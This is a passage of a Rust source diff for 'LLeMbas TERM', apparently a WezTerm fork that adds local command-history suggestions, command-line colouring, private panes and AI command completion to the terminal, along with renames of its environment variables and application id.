|
||||
};
|
||||
Ok(super::decorate::local_dir(&pane))
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// set_private(pane id, on): a private pane's commands are not remembered
|
||||
// and nothing of it is sent to LLeMbas for a completion.
|
||||
module.set(
|
||||
"set_private",
|
||||
lua.create_function(|_, (pane_id, on): (usize, bool)| {
|
||||
state::set_private(pane_id, on);
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
// command_ended(pane, exit status or -1, directory): the shell said that a
|
||||
// command ended in this pane. The terminal remembers it for its suggestions.
|
||||
module.set(
|
||||
"command_ended",
|
||||
lua.create_function(
|
||||
|_, (pane, exit, cwd): (UserDataRef<MuxPane>, i64, Option<String>)| {
|
||||
let exit = if (0..=255).contains(&exit) {
|
||||
exit as i32
|
||||
} else {
|
||||
llembas_line::history::NO_EXIT
|
||||
};
|
||||
let cwd: String = cwd
|
||||
.unwrap_or_default()
|
||||
.chars()
|
||||
.filter(|c| !c.is_control())
|
||||
.take(1024)
|
||||
.collect();
|
||||
super::record::command_ended(pane.0, exit, cwd);
|
||||
Ok(())
|
||||
},
|
||||
)?,
|
||||
)?;
|
||||
|
||||
// clear_history(): forget every command the terminal remembered.
|
||||
module.set(
|
||||
"clear_history",
|
||||
lua.create_function(|_, _: ()| {
|
||||
state::history_clear();
|
||||
Ok(())
|
||||
})?,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
//! LLeMbas TERM: the part of LLeMbas that the terminal itself draws.
|
||||
//!
|
||||
//! The LLeMbas layer is Lua (`llembas/lua/`, built in by `config::llembas`).
|
||||
//! What Lua cannot do is draw on a pane or take its keys, and that is here:
|
||||
//!
|
||||
//! - [`ask`]: the ask line, in place of the shell's own line;
|
||||
//! - [`decorate`]: what is drawn on the shell's input line when a pane is
|
||||
//! painted - the suggestion after the cursor, the colours of the command
|
||||
//! line, a word from the terminal - and the key that takes a suggestion;
|
||||
//! - [`record`]: remembering a command that ran, for the suggestions;
|
||||
//! - [`complete`]: asking LLeMbas for the rest of a line;
|
||||
//! - [`lua`]: `wezterm.llembas`, through which the layer asks for it;
|
||||
//! - [`state`]: what the layer said is on, and what outlives one pane.
|
||||
//!
|
||||
//! What is decided about a line of text (the editor, the input line as read
|
||||
//! from the screen, history, suggestions, colours) is the crate
|
||||
//! `llembas-line`, which knows nothing of a window and is where the tests
|
||||
//! are. The files here are the thin part between it and the terminal.
|
||||
//!
|
||||
//! Nothing here starts a process, reads a pane or writes a file until the
|
||||
//! layer said what is on. With nothing on (no layer, or a terminal started
|
||||
//! with `--skip-config`) a pane is painted exactly as upstream paints it.
|
||||
|
||||
pub mod ask;
|
||||
pub mod complete;
|
||||
pub mod decorate;
|
||||
pub mod lua;
|
||||
pub mod record;
|
||||
pub mod state;
|
||||
|
||||
/// Once, at the first start under this name: the files the terminal itself
|
||||
/// keeps are carried over from the data directory of its earlier name
|
||||
/// (`llembas_line::migrate`). Called before anything makes the data directory.
|
||||
pub fn carry_over() {
|
||||
match llembas_line::migrate::data_dir(config::DATA_DIR.as_path()) {
|
||||
Ok(carried) if carried.is_empty() => {}
|
||||
Ok(carried) => log::info!(
|
||||
"LLeMbas TERM: carried over from the terminal's earlier name ({}) into {}: {}. \
|
||||
The old directory is left as it was.",
|
||||
llembas_line::migrate::OLD_NAME,
|
||||
config::DATA_DIR.display(),
|
||||
carried.join(", ")
|
||||
),
|
||||
Err(err) => log::warn!(
|
||||
"LLeMbas TERM: could not carry over the files of the terminal's earlier name ({}): {:#}",
|
||||
llembas_line::migrate::OLD_NAME,
|
||||
err
|
||||
),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
//! LLeMbas TERM: remembering a command that ran, for the suggestions.
|
||||
//!
|
||||
//! The shell integration says that a command ended (the pane's status record,
|
||||
//! which the layer reads). The command's text is then read from the pane's
|
||||
//! own screen: the input line the shell marked. Nothing typed is followed,
|
||||
//! so nothing typed while a program asked for a password can be taken: such
|
||||
//! text is never on the screen.
|
||||
|
||||
use super::state;
|
||||
use llembas_line::history::Entry;
|
||||
use mux::pane::{Pane, PaneId};
|
||||
use mux::Mux;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
use termwiz::cell::SemanticType;
|
||||
use wezterm_term::{SemanticZone, StableRowIndex};
|
||||
|
||||
/// An input line of more rows than this is no command to remember.
|
||||
const MAX_ROWS: StableRowIndex = 8;
|
||||
|
||||
/// The columns of a zone on one of its rows.
|
||||
fn cols_for_row(zone: &SemanticZone, row: StableRowIndex) -> std::ops::Range<usize> {
|
||||
if row < zone.start_y || row > zone.end_y {
|
||||
0..0
|
||||
} else if zone.start_y == zone.end_y {
|
||||
zone.start_x.min(zone.end_x)..zone.start_x.max(zone.end_x).saturating_add(1)
|
||||
} else if row == zone.end_y {
|
||||
0..zone.end_x.saturating_add(1)
|
||||
} else if row == zone.start_y {
|
||||
zone.start_x..usize::MAX
|
||||
} else {
|
||||
0..usize::MAX
|
||||
}
|
||||
}
|
||||
|
||||
/// The text of a zone: its rows joined, with a line break where a row ended
|
||||
/// and was not carried on by wrapping.
|
||||
pub(super) fn zone_text(pane: &Arc<dyn Pane>, zone: &SemanticZone) -> String {
|
||||
let (top, lines) = pane.get_lines(zone.start_y..zone.end_y + 1);
|
||||
let mut text = String::new();
|
||||
let mut wrapped = true;
|
||||
for (i, line) in lines.iter().enumerate() {
|
||||
let row = top + i as StableRowIndex;
|
||||
let cols = cols_for_row(zone, row);
|
||||
if cols.start >= cols.end {
|
||||
continue;
|
||||
}
|
||||
if !wrapped && !text.is_empty() {
|
||||
text.push('\n');
|
||||
}
|
||||
text.push_str(&line.columns_as_str(cols));
|
||||
wrapped = line.last_cell_was_wrapped();
|
||||
}
|
||||
text.trim_end().to_string()
|
||||
}
|
||||
|
||||
fn remember(pane_id: PaneId, exit: i32, cwd: String) {
|
||||
if !state::options().history || state::is_private(pane_id) {
|
||||
return;
|
||||
}
|
||||
let pane = match Mux::try_get().and_then(|mux| mux.get_pane(pane_id)) {
|
||||
Some(pane) => pane,
|
||||
None => return,
|
||||
};
|
||||
if pane.is_alt_screen_active() {
|
||||
return;
|
||||
}
|
||||
let zones = match pane.get_semantic_zones() {
|
||||
Ok(zones) => zones,
|
||||
Err(_) => return,
|
||||
};
|
||||
// The command that ended is the last input line that something follows:
|
||||
// its output, or the next prompt. (An input line that nothing follows is
|
||||
// one still being typed.)
|
||||
let mut found = None;
|
||||
for (i, zone) in zones.iter().enumerate().rev() {
|
||||
if zone.semantic_type == SemanticType::Input && i + 1 < zones.len() {
|
||||
found = Some(*zone);
|
||||
break;
|
||||
}
|
||||
}
|
||||
let zone = match found {
|
||||
Some(zone) => zone,
|
||||
None => return,
|
||||
};
|
||||
if zone.end_y - zone.start_y >= MAX_ROWS
|
||||
|| !state::first_time(pane_id, zone.start_y, zone.start_x)
|
||||
{
|
||||
return;
|
||||
}
|
||||
let command = zone_text(&pane, &zone);
|
||||
let time = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_secs())
|
||||
.unwrap_or(0);
|
||||
state::history_add(Entry {
|
||||
command,
|
||||
exit,
|
||||
cwd,
|
||||
time,
|
||||
});
|
||||
}
|
||||
|
||||
/// A command ended in this pane. Its text is read a moment later, when the
|
||||
/// shell has drawn its next prompt, so that the line is seen to be complete.
|
||||
pub fn command_ended(pane_id: PaneId, exit: i32, cwd: String) {
|
||||
promise::spawn::spawn(async move {
|
||||
smol::Timer::after(Duration::from_millis(150)).await;
|
||||
remember(pane_id, exit, cwd);
|
||||
})
|
||||
.detach();
|
||||
}
|
||||
@@ -0,0 +1,529 @@
|
||||
//! LLeMbas TERM: what the layer said is on, and what outlives one pane.
|
||||
|
||||
use llembas_line::history::{self, Entry, History};
|
||||
use mux::pane::PaneId;
|
||||
use parking_lot::Mutex;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::path::PathBuf;
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use termwiz::color::ColorAttribute;
|
||||
use wezterm_term::StableRowIndex;
|
||||
|
||||
/// How long a word from the terminal stays at the cursor's row.
|
||||
pub const NOTICE_TIME: Duration = Duration::from_secs(4);
|
||||
|
||||
/// A colour of the layer's options: `None` leaves a cell as it was.
|
||||
pub type Color = Option<ColorAttribute>;
|
||||
|
||||
/// The colours the terminal's own drawing uses. They come from the layer's
|
||||
/// options (`colors`), where each is a number of the colour scheme's palette
|
||||
/// by default, so that every one follows the theme.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct Colors {
|
||||
pub prefix: Color,
|
||||
pub ghost: Color,
|
||||
pub notice: Color,
|
||||
pub command: Color,
|
||||
pub unknown: Color,
|
||||
pub option: Color,
|
||||
pub string: Color,
|
||||
pub variable: Color,
|
||||
pub operator: Color,
|
||||
pub comment: Color,
|
||||
pub path: Color,
|
||||
}
|
||||
|
||||
impl Default for Colors {
|
||||
fn default() -> Self {
|
||||
// the same as M.COLORS in llembas/lua/llembas/core.lua
|
||||
let palette = |n: u8| Some(ColorAttribute::PaletteIndex(n));
|
||||
Colors {
|
||||
prefix: palette(6),
|
||||
ghost: palette(8),
|
||||
notice: palette(3),
|
||||
command: palette(2),
|
||||
unknown: None,
|
||||
option: None,
|
||||
string: palette(3),
|
||||
variable: palette(6),
|
||||
operator: palette(5),
|
||||
comment: palette(8),
|
||||
path: palette(4),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What the layer said is on. Until it says anything, nothing is: a terminal
|
||||
/// started without the layer draws nothing of ours.
|
||||
#[derive(Debug, Clone, Default, PartialEq)]
|
||||
pub struct Options {
|
||||
pub suggestions: bool,
|
||||
pub highlight: bool,
|
||||
pub ai_complete: bool,
|
||||
/// The path of the LLeMbas CLI; empty when there is none.
|
||||
pub cli: String,
|
||||
/// The autocomplete model chosen in the terminal; empty for the engine's own.
|
||||
pub ac_model: String,
|
||||
/// How long the engine is given for a completion; 0 for the default.
|
||||
pub ac_timeout_ms: u64,
|
||||
/// The engine knows `--debug`: it is asked to say its decisions.
|
||||
pub ac_debug: bool,
|
||||
/// Write the input mark of panes whose status record is known (AI is on).
|
||||
pub input_mark: bool,
|
||||
pub history: bool,
|
||||
pub history_max: usize,
|
||||
pub colors: Colors,
|
||||
}
|
||||
|
||||
/// What is on in one pane: the settings of that pane's own directory, which
|
||||
/// the layer says per pane (`configure_pane`). They win over [`Options`] for
|
||||
/// that pane, so that two windows in two directories each keep their own.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct PaneSwitches {
|
||||
pub suggestions: bool,
|
||||
pub highlight: bool,
|
||||
pub ai_complete: bool,
|
||||
pub ac_model: String,
|
||||
pub input_mark: bool,
|
||||
}
|
||||
|
||||
/// The terminal's own history of commands, once it was needed.
|
||||
struct Commands {
|
||||
history: History,
|
||||
max: usize,
|
||||
}
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref OPTIONS: Mutex<Options> = Mutex::new(Options::default());
|
||||
/// What is on in a pane, where the layer said it for that pane.
|
||||
static ref PANE_SWITCHES: Mutex<HashMap<PaneId, PaneSwitches>> = Mutex::new(HashMap::new());
|
||||
/// The output a pane had when a key was last sent to it (its seqno).
|
||||
static ref KEYS_SENT: Mutex<HashMap<PaneId, u64>> = Mutex::new(HashMap::new());
|
||||
/// Earlier questions of the ask line, for this run of the terminal only.
|
||||
static ref QUESTIONS: Mutex<Vec<String>> = Mutex::new(Vec::new());
|
||||
/// Panes the person marked private: nothing of them is remembered or sent.
|
||||
static ref PRIVATE: Mutex<HashSet<PaneId>> = Mutex::new(HashSet::new());
|
||||
/// A word for the person at the cursor's row of a pane, and until when.
|
||||
static ref NOTICES: Mutex<HashMap<PaneId, (String, Instant)>> = Mutex::new(HashMap::new());
|
||||
/// A word that stands at the cursor's row of a pane until it is taken away.
|
||||
static ref HINTS: Mutex<HashMap<PaneId, Hint>> = Mutex::new(HashMap::new());
|
||||
/// Where the shell of a pane stands, as its status record said.
|
||||
static ref STATUS: Mutex<HashMap<PaneId, PaneStatus>> = Mutex::new(HashMap::new());
|
||||
/// The input mark last written for a pane: the record's id and seq, typed.
|
||||
static ref MARKS: Mutex<HashMap<PaneId, (String, u64, bool)>> = Mutex::new(HashMap::new());
|
||||
/// Panes whose line is the ask line now, and which opening of it.
|
||||
static ref ASKING: Mutex<HashMap<PaneId, u64>> = Mutex::new(HashMap::new());
|
||||
static ref COMMANDS: Mutex<Option<Commands>> = Mutex::new(None);
|
||||
/// Where the command last remembered for a pane stood on its screen.
|
||||
static ref REMEMBERED: Mutex<HashMap<PaneId, (StableRowIndex, usize)>> =
|
||||
Mutex::new(HashMap::new());
|
||||
}
|
||||
|
||||
/// Goes up whenever something changed that what is drawn depends on and the
|
||||
/// pane's own content does not show: an option, a notice, the history, an
|
||||
/// answer that arrived.
|
||||
static GENERATION: AtomicU64 = AtomicU64::new(0);
|
||||
|
||||
pub fn generation() -> u64 {
|
||||
GENERATION.load(Ordering::Relaxed)
|
||||
}
|
||||
|
||||
pub fn changed() {
|
||||
GENERATION.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub fn options() -> Options {
|
||||
OPTIONS.lock().clone()
|
||||
}
|
||||
|
||||
pub fn set_options(options: Options) {
|
||||
*OPTIONS.lock() = options;
|
||||
changed();
|
||||
}
|
||||
|
||||
/// What is on in this pane: the options, with what the layer said for the
|
||||
/// pane in their place.
|
||||
pub fn options_for(pane_id: PaneId) -> Options {
|
||||
let mut options = options();
|
||||
if let Some(switches) = PANE_SWITCHES.lock().get(&pane_id) {
|
||||
options.suggestions = switches.suggestions;
|
||||
options.highlight = switches.highlight;
|
||||
options.ai_complete = switches.ai_complete;
|
||||
options.ac_model = switches.ac_model.clone();
|
||||
options.input_mark = switches.input_mark;
|
||||
}
|
||||
options
|
||||
}
|
||||
|
||||
/// The layer says what is on in one pane. Returns what was said before,
|
||||
/// when it differs (`None` when nothing changed).
|
||||
pub fn set_pane_switches(pane_id: PaneId, switches: PaneSwitches) -> Option<Option<PaneSwitches>> {
|
||||
let mut all = PANE_SWITCHES.lock();
|
||||
let old = all.get(&pane_id).cloned();
|
||||
if old.as_ref() == Some(&switches) {
|
||||
return None;
|
||||
}
|
||||
if all.len() > 512 {
|
||||
all.clear();
|
||||
}
|
||||
all.insert(pane_id, switches);
|
||||
drop(all);
|
||||
changed();
|
||||
Some(old)
|
||||
}
|
||||
|
||||
/// A key went to the pane (it may not be on its screen yet).
|
||||
pub fn key_sent(pane_id: PaneId, seqno: u64) {
|
||||
let mut sent = KEYS_SENT.lock();
|
||||
if sent.len() > 512 {
|
||||
sent.clear();
|
||||
}
|
||||
sent.insert(pane_id, seqno);
|
||||
}
|
||||
|
||||
/// Was a key sent to the pane that its screen may not show yet: the pane has
|
||||
/// had no output since? Then what is drawn may not be the line as it is.
|
||||
pub fn key_unseen(pane_id: PaneId, seqno: u64) -> bool {
|
||||
KEYS_SENT.lock().get(&pane_id) == Some(&seqno)
|
||||
}
|
||||
|
||||
/// The ask line of a pane was opened. Returns which opening it is, for
|
||||
/// `ask_closed`: an ask line that goes away late must not take the mark of
|
||||
/// the one that was opened after it.
|
||||
pub fn ask_opened(pane_id: PaneId) -> u64 {
|
||||
static NEXT: AtomicU64 = AtomicU64::new(1);
|
||||
let opened = NEXT.fetch_add(1, Ordering::Relaxed);
|
||||
ASKING.lock().insert(pane_id, opened);
|
||||
opened
|
||||
}
|
||||
|
||||
pub fn ask_closed(pane_id: PaneId, opened: u64) {
|
||||
let mut asking = ASKING.lock();
|
||||
if asking.get(&pane_id) == Some(&opened) {
|
||||
asking.remove(&pane_id);
|
||||
}
|
||||
}
|
||||
|
||||
/// Is the line of this pane the ask line now?
|
||||
pub fn asking(pane_id: PaneId) -> bool {
|
||||
ASKING.lock().contains_key(&pane_id)
|
||||
}
|
||||
|
||||
pub fn questions() -> Vec<String> {
|
||||
QUESTIONS.lock().clone()
|
||||
}
|
||||
|
||||
pub fn remember_question(line: &str) {
|
||||
llembas_line::editor::remember(&mut QUESTIONS.lock(), line);
|
||||
}
|
||||
|
||||
pub fn set_private(pane_id: PaneId, on: bool) {
|
||||
let mut private = PRIVATE.lock();
|
||||
if on {
|
||||
private.insert(pane_id);
|
||||
} else {
|
||||
private.remove(&pane_id);
|
||||
}
|
||||
drop(private);
|
||||
changed();
|
||||
}
|
||||
|
||||
pub fn is_private(pane_id: PaneId) -> bool {
|
||||
PRIVATE.lock().contains(&pane_id)
|
||||
}
|
||||
|
||||
pub fn set_notice(pane_id: PaneId, text: String) {
|
||||
NOTICES
|
||||
.lock()
|
||||
.insert(pane_id, (text, Instant::now() + NOTICE_TIME));
|
||||
changed();
|
||||
}
|
||||
|
||||
/// The word for a pane, while its time lasts.
|
||||
pub fn notice(pane_id: PaneId) -> Option<String> {
|
||||
let mut notices = NOTICES.lock();
|
||||
let live = match notices.get(&pane_id) {
|
||||
Some((text, until)) if Instant::now() < *until => Some(text.clone()),
|
||||
Some(_) => None,
|
||||
None => return None,
|
||||
};
|
||||
if live.is_none() {
|
||||
notices.remove(&pane_id);
|
||||
}
|
||||
live
|
||||
}
|
||||
|
||||
/// Where the shell of a pane stands: its status record's id and seq, whether
|
||||
/// it is at a prompt, and the directory the records are kept in - only when
|
||||
/// the input mark is to be written (AI is on, and the record is the one the
|
||||
/// pane's own shell keeps).
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct PaneStatus {
|
||||
pub id: String,
|
||||
pub seq: u64,
|
||||
pub prompt: bool,
|
||||
pub dir: Option<PathBuf>,
|
||||
}
|
||||
|
||||
/// The layer says where a pane's shell stands, or that it no longer knows.
|
||||
pub fn set_status(pane_id: PaneId, status: Option<PaneStatus>) {
|
||||
let mut all = STATUS.lock();
|
||||
if all.get(&pane_id) == status.as_ref() {
|
||||
return;
|
||||
}
|
||||
match status {
|
||||
Some(status) => {
|
||||
if all.len() > 512 {
|
||||
all.clear();
|
||||
}
|
||||
all.insert(pane_id, status);
|
||||
}
|
||||
None => {
|
||||
if let Some(old) = all.remove(&pane_id) {
|
||||
if let Some(dir) = old.dir {
|
||||
write_later(Box::new(move || {
|
||||
let _ = llembas_line::mark::remove(&dir, pane_id);
|
||||
}));
|
||||
}
|
||||
}
|
||||
MARKS.lock().remove(&pane_id);
|
||||
}
|
||||
}
|
||||
drop(all);
|
||||
// the pane is looked at again: its input mark is of this record now
|
||||
changed();
|
||||
}
|
||||
|
||||
/// The status of a pane whose shell is at a prompt, when its input mark is
|
||||
/// to be written.
|
||||
pub fn status_at_prompt(pane_id: PaneId) -> Option<PaneStatus> {
|
||||
STATUS
|
||||
.lock()
|
||||
.get(&pane_id)
|
||||
.filter(|status| status.prompt && status.dir.is_some())
|
||||
.cloned()
|
||||
}
|
||||
|
||||
/// May what is typed in this pane be taken for a command line: its shell's
|
||||
/// status record says it is at its prompt, or there is no record (a shell
|
||||
/// integration without that part). A suggestion is drawn and taken, and the
|
||||
/// AI asked, only then.
|
||||
pub fn shell_at_prompt(pane_id: PaneId) -> bool {
|
||||
match STATUS.lock().get(&pane_id) {
|
||||
Some(status) => status.prompt,
|
||||
None => true,
|
||||
}
|
||||
}
|
||||
|
||||
/// Write the input mark of a pane when what it says changed: whether
|
||||
/// anything stands on the input line of the prompt this record is of.
|
||||
pub fn mark_input(pane_id: PaneId, status: &PaneStatus, typed: bool) {
|
||||
let dir = match &status.dir {
|
||||
Some(dir) => dir,
|
||||
None => return,
|
||||
};
|
||||
let now = (status.id.clone(), status.seq, typed);
|
||||
let mut marks = MARKS.lock();
|
||||
if marks.get(&pane_id) == Some(&now) {
|
||||
return;
|
||||
}
|
||||
if marks.len() > 512 {
|
||||
marks.clear();
|
||||
}
|
||||
marks.insert(pane_id, now.clone());
|
||||
drop(marks);
|
||||
// written off the window's thread, in order with every other write
|
||||
let dir = dir.clone();
|
||||
write_later(Box::new(move || {
|
||||
let (id, seq, typed) = now;
|
||||
if let Err(err) = llembas_line::mark::write(&dir, pane_id, &id, seq, typed) {
|
||||
// no mark is no harm: LLeMbas then reads the prompt from the screen
|
||||
log::debug!("LLeMbas: the input mark could not be written: {:#}", err);
|
||||
MARKS.lock().remove(&pane_id);
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
/// A file write of the terminal's own (an input mark, a line of the command
|
||||
/// history): done by one thread of its own, in the order asked, so that the
|
||||
/// window is never kept waiting by a disk.
|
||||
type Job = Box<dyn FnOnce() + Send>;
|
||||
|
||||
lazy_static::lazy_static! {
|
||||
static ref WRITER: Mutex<Option<std::sync::mpsc::Sender<Job>>> = Mutex::new(None);
|
||||
}
|
||||
|
||||
fn write_later(job: Job) {
|
||||
let mut writer = WRITER.lock();
|
||||
if writer.is_none() {
|
||||
let (tx, rx) = std::sync::mpsc::channel::<Job>();
|
||||
let spawned = std::thread::Builder::new()
|
||||
.name("llembas-writer".to_string())
|
||||
.spawn(move || {
|
||||
for job in rx {
|
||||
job();
|
||||
}
|
||||
});
|
||||
if spawned.is_ok() {
|
||||
*writer = Some(tx);
|
||||
}
|
||||
}
|
||||
let job = match writer.as_ref() {
|
||||
Some(tx) => match tx.send(job) {
|
||||
Ok(()) => return,
|
||||
Err(std::sync::mpsc::SendError(job)) => job,
|
||||
},
|
||||
None => job,
|
||||
};
|
||||
// no thread for it: done here, as before
|
||||
*writer = None;
|
||||
drop(writer);
|
||||
job();
|
||||
}
|
||||
|
||||
/// A word that stands at the cursor's row of a pane for as long as what it
|
||||
/// says holds: LLeMbas waits for an answer, or a command that LLeMbas placed
|
||||
/// at the prompt waits for the person. The layer sets it and takes it away.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct Hint {
|
||||
pub text: String,
|
||||
/// Drawn dimmed and only where nothing else is: beside what the row
|
||||
/// shows, or on the empty row below. It never covers a cell that shows
|
||||
/// something.
|
||||
pub gentle: bool,
|
||||
/// The pane whose state it tells (the display). When that pane is gone,
|
||||
/// so is the hint.
|
||||
pub source: Option<PaneId>,
|
||||
}
|
||||
|
||||
/// Set the standing word of a pane, or take it away.
|
||||
pub fn set_hint(pane_id: PaneId, hint: Option<Hint>) {
|
||||
let mut hints = HINTS.lock();
|
||||
let same = hints.get(&pane_id) == hint.as_ref();
|
||||
if same {
|
||||
return;
|
||||
}
|
||||
match hint {
|
||||
Some(hint) => {
|
||||
if hints.len() > 256 {
|
||||
hints.clear();
|
||||
}
|
||||
hints.insert(pane_id, hint);
|
||||
}
|
||||
None => {
|
||||
hints.remove(&pane_id);
|
||||
}
|
||||
}
|
||||
drop(hints);
|
||||
changed();
|
||||
}
|
||||
|
||||
/// The standing word of a pane, while the pane it tells of is there.
|
||||
pub fn hint(pane_id: PaneId) -> Option<Hint> {
|
||||
let mut hints = HINTS.lock();
|
||||
let hint = hints.get(&pane_id)?.clone();
|
||||
if let Some(source) = hint.source {
|
||||
let there = match mux::Mux::try_get() {
|
||||
Some(mux) => mux.get_pane(source).is_some(),
|
||||
None => false,
|
||||
};
|
||||
if !there {
|
||||
hints.remove(&pane_id);
|
||||
drop(hints);
|
||||
// what was drawn from it is to go too, not only once the pane
|
||||
// changes for another reason
|
||||
changed();
|
||||
return None;
|
||||
}
|
||||
}
|
||||
Some(hint)
|
||||
}
|
||||
|
||||
/// The file of the terminal's own command history: in its own data
|
||||
/// directory, the person's alone.
|
||||
pub fn history_path() -> PathBuf {
|
||||
config::DATA_DIR.join("command-history")
|
||||
}
|
||||
|
||||
/// Run `f` on the history, reading the file the first time and whenever the
|
||||
/// size it is kept at changed.
|
||||
fn with_commands<R>(f: impl FnOnce(&mut History) -> R) -> R {
|
||||
let max = OPTIONS.lock().history_max;
|
||||
let mut commands = COMMANDS.lock();
|
||||
let stale = match commands.as_ref() {
|
||||
Some(c) => c.max != max,
|
||||
None => true,
|
||||
};
|
||||
if stale {
|
||||
let history = match history::load(&history_path(), max) {
|
||||
Ok(history) => history,
|
||||
Err(err) => {
|
||||
log::warn!("LLeMbas: the command history could not be read: {:#}", err);
|
||||
History::new(max)
|
||||
}
|
||||
};
|
||||
*commands = Some(Commands { history, max });
|
||||
}
|
||||
match commands.as_mut() {
|
||||
Some(c) => f(&mut c.history),
|
||||
None => f(&mut History::new(0)),
|
||||
}
|
||||
}
|
||||
|
||||
/// The rest of the newest command that starts with what is typed.
|
||||
pub fn history_suggest(typed: &str) -> Option<String> {
|
||||
with_commands(|history| history.suggest(typed).map(|rest| rest.to_string()))
|
||||
}
|
||||
|
||||
/// Remember a command that ran, in memory and in the file.
|
||||
pub fn history_add(entry: Entry) {
|
||||
let kept = with_commands(|history| {
|
||||
if history.add(entry.clone()) {
|
||||
history.entries().last().cloned()
|
||||
} else {
|
||||
None
|
||||
}
|
||||
});
|
||||
if let Some(kept) = kept {
|
||||
write_later(Box::new(move || {
|
||||
if let Err(err) = history::append(&history_path(), &kept) {
|
||||
log::warn!(
|
||||
"LLeMbas: the command history could not be written: {:#}",
|
||||
err
|
||||
);
|
||||
}
|
||||
}));
|
||||
changed();
|
||||
}
|
||||
}
|
||||
|
||||
/// Forget every command: in memory, and the file.
|
||||
pub fn history_clear() {
|
||||
with_commands(|history| history.clear());
|
||||
// in order with the lines still being written: none comes after it
|
||||
write_later(Box::new(|| {
|
||||
if let Err(err) = history::remove(&history_path()) {
|
||||
log::warn!(
|
||||
"LLeMbas: the command history could not be removed: {:#}",
|
||||
err
|
||||
);
|
||||
}
|
||||
}));
|
||||
changed();
|
||||
}
|
||||
|
||||
/// Is this the first time the command at this place of the pane's screen is
|
||||
/// remembered? (The shell says once that a command ended; this guards against
|
||||
/// taking the command before it a second time.)
|
||||
pub fn first_time(pane_id: PaneId, row: StableRowIndex, col: usize) -> bool {
|
||||
let mut remembered = REMEMBERED.lock();
|
||||
if remembered.get(&pane_id) == Some(&(row, col)) {
|
||||
return false;
|
||||
}
|
||||
if remembered.len() > 512 {
|
||||
remembered.clear();
|
||||
}
|
||||
remembered.insert(pane_id, (row, col));
|
||||
true
|
||||
}
|
||||
+19
-11
@@ -41,6 +41,8 @@ mod download;
|
||||
mod frontend;
|
||||
mod glyphcache;
|
||||
mod inputmap;
|
||||
// LLeMbas TERM: what the terminal itself draws for the LLeMbas layer
|
||||
mod llembas;
|
||||
mod overlay;
|
||||
mod quad;
|
||||
mod renderstate;
|
||||
@@ -66,14 +68,15 @@ pub use selection::SelectionMode;
|
||||
pub use termwindow::{set_window_class, set_window_position, TermWindow, ICON_DATA};
|
||||
|
||||
#[derive(Debug, Parser)]
|
||||
// LLeMbas TTY: its own name and version
|
||||
// LLeMbas TERM: its own name and version
|
||||
#[command(
|
||||
name = "llembas-tty-gui",
|
||||
about = "LLeMbas TTY: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
|
||||
version = config::llembas_tty_long_version()
|
||||
name = "llembas-term-gui",
|
||||
about = "LLeMbas TERM: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
|
||||
version = config::llembas_term_long_version()
|
||||
)]
|
||||
struct Opt {
|
||||
/// Skip loading wezterm.lua
|
||||
// LLeMbas TERM: the file it skips is its own
|
||||
/// Skip loading llembas-term.lua (the LLeMbas layer's own defaults are not applied either)
|
||||
#[arg(long, short = 'n')]
|
||||
skip_config: bool,
|
||||
|
||||
@@ -414,8 +417,8 @@ async fn async_run_terminal_gui(
|
||||
) -> anyhow::Result<()> {
|
||||
let unix_socket_path =
|
||||
config::RUNTIME_DIR.join(format!("gui-sock-{}", unsafe { libc::getpid() }));
|
||||
// LLeMbas TTY: its own variable name
|
||||
std::env::set_var("LLEMBAS_TTY_UNIX_SOCKET", unix_socket_path.clone());
|
||||
// LLeMbas TERM: its own variable name
|
||||
std::env::set_var("LLEMBAS_TERM_UNIX_SOCKET", unix_socket_path.clone());
|
||||
wezterm_blob_leases::register_storage(Arc::new(
|
||||
wezterm_blob_leases::simple_tempdir::SimpleTempDir::new_in(&*config::CACHE_DIR)?,
|
||||
))?;
|
||||
@@ -564,8 +567,8 @@ impl Publish {
|
||||
"Running GUI is a different executable from us, will start a new one");
|
||||
}
|
||||
if vers.config_file_path
|
||||
// LLeMbas TTY: its own variable name
|
||||
!= std::env::var_os("LLEMBAS_TTY_CONFIG_FILE").map(Into::into)
|
||||
// LLeMbas TERM: its own variable name
|
||||
!= std::env::var_os("LLEMBAS_TERM_CONFIG_FILE").map(Into::into)
|
||||
{
|
||||
*self = Publish::NoConnectNoPublish;
|
||||
anyhow::bail!(
|
||||
@@ -1176,8 +1179,8 @@ fn run() -> anyhow::Result<()> {
|
||||
{
|
||||
unsafe {
|
||||
::windows::Win32::UI::Shell::SetCurrentProcessExplicitAppUserModelID(
|
||||
// LLeMbas TTY: its own application id
|
||||
::windows::core::PCWSTR(wide_string("eu.llembas.tty").as_ptr()),
|
||||
// LLeMbas TERM: its own application id
|
||||
::windows::core::PCWSTR(wide_string("eu.llembas.term").as_ptr()),
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
@@ -1209,11 +1212,16 @@ fn run() -> anyhow::Result<()> {
|
||||
// headless mux server.
|
||||
config::lua::add_context_setup_func(window_funcs::register);
|
||||
config::lua::add_context_setup_func(crate::scripting::register);
|
||||
// LLeMbas TERM: `wezterm.llembas`, for the LLeMbas layer
|
||||
config::lua::add_context_setup_func(crate::llembas::lua::register);
|
||||
config::lua::add_context_setup_func(crate::stats::register);
|
||||
|
||||
stats::Stats::init()?;
|
||||
let _saver = umask::UmaskSaver::new();
|
||||
|
